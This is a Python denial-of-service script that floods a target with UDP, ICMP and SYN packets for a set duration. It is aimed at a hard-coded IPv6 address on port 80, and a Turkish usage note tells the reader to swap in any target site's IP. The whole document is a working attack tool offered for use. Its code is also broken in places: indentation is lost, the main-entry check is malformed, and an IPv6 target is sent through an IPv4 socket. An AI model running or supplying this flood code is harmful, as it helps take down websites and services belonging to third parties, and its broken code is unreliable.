import socket
import random
import time
from scapy.all import *
def udp_flood(target_ip, target_port, duration):
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)
timeout = time.time() + duration
sent = 0
while True:
if time.time() > timeout:
break
client.sendto(bytes, (target_ip, target_port))
sent += 1
print(f"Sent {sent} UDP packets to {target_ip} through port {target_port}")
def icmp_flood(target_ip, duration):
packet = IP(dst=target_ip)/ICMP()
timeout = time.time() + duration
sent = 0
while True:
if time.time() > timeout:
break
send(packet, verbose=0)
sent += 1
print(f"Sent {sent} ICMP packets to {target_ip}")
def syn_flood(target_ip, target_port, duration):
timeout = time.time() + duration
sent = 0
while True:
if time.time() > timeout:
break
ip = IP(dst=target_ip)
tcp = TCP(dport=target_port, flags='S', seq=random.randint(1000, 9000), sport=random.randint(1000, 9000))
packet = ip/tcp
send(packet, verbose=0)
sent += 1
print(f"Sent {sent} SYN packets to {target_ip} through port {target_port}")
def main():
target_ip = "2606:4700:3036::6815:d6"
target_port = 80
duration = 1000
print("Starting UDP Flood...")
udp_flood(target_ip, target_port, duration)
print("Starting ICMP Flood...")
icmp_flood(target_ip, duration)
print("Starting SYN Flood...")
syn_flood(target_ip, target_port, duration)
if name == "main":
main()
Kullanımı basit target ıp yerine hedef sitenin ip adresi port da denenecek port duration ne kadar zaman deneyecegi Kullanımı kolay çok amaçlı bir tool hata verirse kütüphaneleri güncelleyin python çalıştırabilen herhangi bir editör çalıştırabilir